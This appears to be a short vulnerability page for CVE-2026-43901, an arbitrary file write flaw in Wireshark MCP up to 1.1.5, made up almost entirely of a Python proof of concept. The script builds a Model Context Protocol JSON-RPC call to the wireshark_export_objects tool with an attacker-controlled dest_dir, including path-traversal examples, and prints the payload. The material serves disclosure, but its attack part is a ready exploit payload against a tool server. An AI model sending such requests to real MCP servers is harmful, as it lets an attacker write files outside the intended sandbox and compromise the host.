CVE-2026-43901 Wireshark MCP 任意文件写入漏洞

import json """ Conceptual Proof of Concept (PoC) for CVE-2026-43901 This script demonstrates how a malicious actor could craft an MCP request to exploit the arbitrary file write vulnerability in Wireshark MCP <= 1.1.5. """ def create_malicious_mcp_request(pcap_path, malicious_destination): """ Constructs a JSON-RPC request for the wireshark_export_objects tool. Args: pcap_path (str): Path to a valid pcap file on the server or accessible by the server. malicious_destination (str): The arbitrary directory path where the attacker wants to write files. e.g., '../../../tmp/' or 'C:\Windows\Temp' """ # The tool name vulnerable in CVE-2026-43901 tool_name = "wireshark_export_objects" # Arguments passed to the tool # 'dest_dir' is the vulnerable parameter arguments = { "pcap_file": pcap_path, "dest_dir": malicious_destination, "protocol": "http" # specific protocol to export, e.g., http, smb, etc. } # Standard MCP (Model Context Protocol) JSON-RPC structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": tool_name, "arguments": arguments }, "id": 1 } return json.dumps(payload, indent=2) if __name__ == "__main__": # Example Scenario: # An attacker wants to write exported objects to a sensitive directory. # Note: In a real attack, the attacker would need a way to trigger the MCP client # to send this request to the server. target_pcap = "/var/log/capture.pcap" # Using absolute path or traversal to write outside intended sandbox attack_dir = "/tmp/pwned/" exploit_request = create_malicious_mcp_request(target_pcap, attack_dir) print("Generated Malicious MCP Request Payload:") print(exploit_request) print("\n[!] If the server processes this, files will be written to:", attack_dir)